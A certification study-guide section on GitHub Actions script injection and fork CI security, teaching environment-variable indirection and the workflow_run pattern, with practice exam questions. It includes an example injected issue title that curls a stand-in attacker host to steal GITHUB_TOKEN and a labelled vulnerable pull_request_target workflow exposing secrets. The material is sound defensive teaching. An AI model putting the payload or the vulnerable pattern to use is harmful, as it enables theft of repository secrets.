9.4 Script Injection Prevention & Secure Workflow Patterns
Key Takeaways
- Script injection (CWE-78: OS Command Injection) occurs when untrusted user input from event context expressions (such as `${{ github.event.issue.title }}` or `${{ github.event.pull_request.head.ref }}`) is evaluated directly inside inline shell scripts (`run:`).
- GitHub Actions processes context expressions through template substitution before the shell executes the script, allowing attackers to terminate commands with quotes/semicolons and execute arbitrary shell commands.
- The secure mitigation standard: Always assign untrusted context expressions to intermediate environment variables under `env:` (e.g., `env: TITLE: ${{ github.event.issue.title }}`) and reference them safely as `$TITLE` or `"$TITLE"` within shell scripts.
- Workflows triggered by `pull_request_target` execute in the context of the repository's base branch with full access to repository secrets and write permissions, creating severe security vulnerabilities if they check out untrusted PR head code (`ref: ${{ github.event.pull_request.head.sha }}`).
- The safe fork CI pattern separates untrusted code execution (running in a restricted, read-only `pull_request` workflow) from privileged actions like artifact publishing or PR commenting (handled via `workflow_run` or gated review approvals).
Script Injection Prevention & Secure Workflow Patterns
Security in continuous integration automation extends beyond secrets management and token permissions. Workflows are automated programs that parse untrusted external inputs—such as pull request titles, issue comments, commit messages, and branch names submitted by external contributors. When these inputs are handled insecurely within workflow definitions, attackers can exploit Script Injection vulnerabilities (CWE-78: OS Command Injection) to execute arbitrary shell commands on runner instances, compromise build artifacts, and exfiltrate secrets.
Securing workflows against script injection, safely handling untrusted context expressions, and navigating the security boundaries between pull_request, pull_request_target, and workflow_run are essential competencies for the GitHub Actions Certification (GH-200) examination.
1. Understanding Script Injection in GitHub Actions
Script injection occurs due to an architectural mismatch between how GitHub Actions evaluates context expressions (${{ ... }}) and how the runner's operating system shell (bash, sh, pwsh) interprets command syntax.
+-----------------------------------------------------------------------------+
| SCRIPT INJECTION EXECUTION MECHANICS |
| |
| 1. Workflow YAML Definition: |
| run: echo "Processing issue: ${{ github.event.issue.title }}" |
| |
| 2. Attacker submits Issue Title: |
| Bug"; curl -s https://attacker.com/steal?t=$GITHUB_TOKEN; echo " |
| |
| 3. GitHub Actions Expression Engine (Template Substitution): |
| Replaces context expression literally before generating shell script: |
| ---------------------------------------------------------------- |
| echo "Processing issue: Bug"; |
| curl -s https://attacker.com/steal?t=$GITHUB_TOKEN; |
| echo "" |
| ---------------------------------------------------------------- |
| |
| 4. Shell Execution: |
| Runner shell executes the injected curl command with full privileges! |
+-----------------------------------------------------------------------------+
The Expression Evaluation Lifecycle
- Template Parsing: Before executing a step, the runner agent parses the YAML string and replaces all
${{ ... }}expressions with their raw string values from the event payload. - Script Generation: The expanded string is written into a temporary script file on the runner filesystem (e.g.,
/home/runner/work/_temp/workflow-script.sh). - Shell Invocation: The runner invokes the designated shell (e.g.,
bash -e workflow-script.sh). - If the injected value contains shell metacharacters—such as double quotes (
"), single quotes ('), semicolons (;), backticks (`), command substitutions ($(...)), or pipes (|)—the shell executes them as active commands rather than passive data strings.
2. Attack Vectors & Untrusted Expression Audit
Security engineers must recognize which context expressions represent untrusted user input.
Untrusted Context Expressions Matrix
| Context Expression | Threat Source | Risk Level | Injection Vulnerability Scenarios |
|---|---|---|---|
github.event.issue.title / body | Any user opening an issue | 🔴 Critical | Inline evaluation in triage or notification scripts. |
github.event.pull_request.title / body | Any external PR contributor | 🔴 Critical | Title linting or changelog generation scripts. |
github.event.comment.body | Any comment author | 🔴 Critical | ChatOps bot triggers (e.g., /deploy, /retest). |
github.event.pull_request.head.ref | Fork branch name author | 🔴 Critical | Branch naming validation or checkout scripts. |
github.head_ref | PR branch author | 🔴 Critical | Dynamic container tagging or deployment scripts. |
github.event.commits[].message | Git commit author | 🟠 High | Commit message linter or release note generator. |
github.event.discussion.title / body | Discussion author | 🟠 High | Community automation workflows. |
github.sha / github.repository | GitHub platform generated | 🟢 Safe | Fixed alphanumeric format; immune to injection. |
3. The Secure Remediation Pattern: Environment Variable Indirection
The industry-standard mitigation against script injection is Environment Variable Indirection.
# ❌ VULNERABLE: Direct inline expression evaluation
- name: Log Issue Title
run: echo "Received issue: ${{ github.event.issue.title }}"
# ✅ SECURE: Environment variable encapsulation
- name: Log Issue Title
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "Received issue: $ISSUE_TITLE"
Why Environment Variable Indirection Is Secure
When you assign an expression to the step's env: block:
- The runner assigns the raw string value directly to the operating system process environment table.
- The shell script references the variable as
$ISSUE_TITLE(or"$ISSUE_TITLE"). - The shell treats the environment variable strictly as an atomic data value, completely ignoring any embedded quotes, semicolons, or command substitutions.
Vulnerable vs. Secure Implementation Patterns
| Use Case | ❌ Vulnerable Pattern (Injection Risk) | ✅ Secure Pattern (Hardened) |
|---|---|---|
| PR Title Validation | run: node -e "check('${{ github.event.pull_request.title }}')" | env: PR_TITLE: ${{ github.event.pull_request.title }}<br>run: node -e 'check(process.env.PR_TITLE)' |
| Branch Naming Check | run: echo "Branch: ${{ github.head_ref }}" | env: BRANCH: ${{ github.head_ref }}<br>run: echo "Branch: $BRANCH" |
| Comment Processing | run: python -c "parse('${{ github.event.comment.body }}')" | env: COMMENT: ${{ github.event.comment.body }}<br>run: python -c 'import os; parse(os.environ["COMMENT"])' |
| Git Commit Logging | run: ./notify.sh "${{ github.event.head_commit.message }}" | env: MSG: ${{ github.event.head_commit.message }}<br>run: ./notify.sh "$MSG" |
[!TIP] Using Action Handlers: Another secure alternative is to use dedicated JavaScript actions such as
actions/github-script. Because JavaScript actions interact with the GitHub Octokit API via compiled Node.js objects rather than shell processes, payload values are treated as native string variables without shell interpolation.
4. Fork Security Boundaries: pull_request vs. pull_request_target vs. workflow_run
Managing workflows that execute on open-source repositories receiving pull requests from untrusted forks represents a fundamental security challenge.
+-----------------------------------------------------------------------------+
| FORK CI SECURITY BOUNDARIES |
| |
| [pull_request TRIGGER] |
| - Code Context: Executes code from untrusted Fork PR branch |
| - Secrets: NO ACCESS to repository secrets (secrets context is empty) |
| - GITHUB_TOKEN: Read-only permissions |
| - Security Profile: Safe for untrusted testing; cannot exfiltrate secrets |
| |
| [pull_request_target TRIGGER] |
| - Code Context: Executes workflow definition from Base repository (main) |
| - Secrets: FULL ACCESS to repository secrets |
| - GITHUB_TOKEN: Can have write permissions |
| - CRITICAL RISK: If it checks out fork PR code (ref: head.sha), untrusted |
| code executes with base repository secrets and write tokens! |
| |
| [workflow_run CHAINING PATTERN] |
| - Stage 1: 'pull_request' builds/tests fork code without secrets |
| - Stage 2: 'workflow_run' triggers upon completion, running on base |
| branch with secrets to post comments or upload artifacts |
+-----------------------------------------------------------------------------+
The pull_request_target Vulnerability Pattern
The pull_request_target event was introduced to allow automated labeling and triage of pull requests from forks. However, checking out untrusted PR code inside a pull_request_target workflow creates a critical remote code execution vulnerability:
# 🚨 CRITICAL SECURITY VULNERABILITY (CWE-78 / Privilege Escalation)
name: Insecure PR Build
on:
pull_request_target: # Runs in context of base repo with secrets!
permissions:
contents: write
pull-requests: write
jobs:
insecure-test:
runs-on: ubuntu-latest
steps:
# ❌ DANGEROUS: Checking out untrusted PR head commit into privileged context
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
# ❌ Attacker's malicious package.json / Makefile executes with repo secrets!
- run: npm install && npm test
env:
PROD_DEPLOY_KEY: ${{ secrets.PROD_DEPLOY_KEY }}
The Safe Privileged Chaining Pattern (workflow_run)
To securely build untrusted fork PRs and subsequently perform privileged operations (such as commenting on the PR or publishing preview deployments), use the Two-Stage workflow_run Pattern:
- Workflow 1 (
untrusted-ci.yml): Triggers onpull_request. Runsnpm testwithout access to any repository secrets. It outputs test results or build artifacts to$GITHUB_WORKSPACEand archives them viaactions/upload-artifact. - Workflow 2 (
privileged-comment.yml): Triggers onon: workflow_runwhenuntrusted-cicompletes. This workflow runs on themainbranch context, downloads the verified test artifact, and safely posts comments or deployment statuses using privileged tokens.
A security auditor discovers the following step in an issue management workflow:
How should this step be refactored to eliminate the script injection vulnerability?- name: Process Issue
run: python -c "print('Handling: ${{ github.event.issue.title }}')"
A workflow in a public repository is configured with on: pull_request_target and contains the following checkout step:
What critical security vulnerability does this configuration introduce?- name: Checkout Code
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
An open-source project needs to run integration tests on pull requests from public forks and then post a deployment preview comment on the pull request containing privileged deployment URLs. Which architecture represents the secure, recommended design pattern?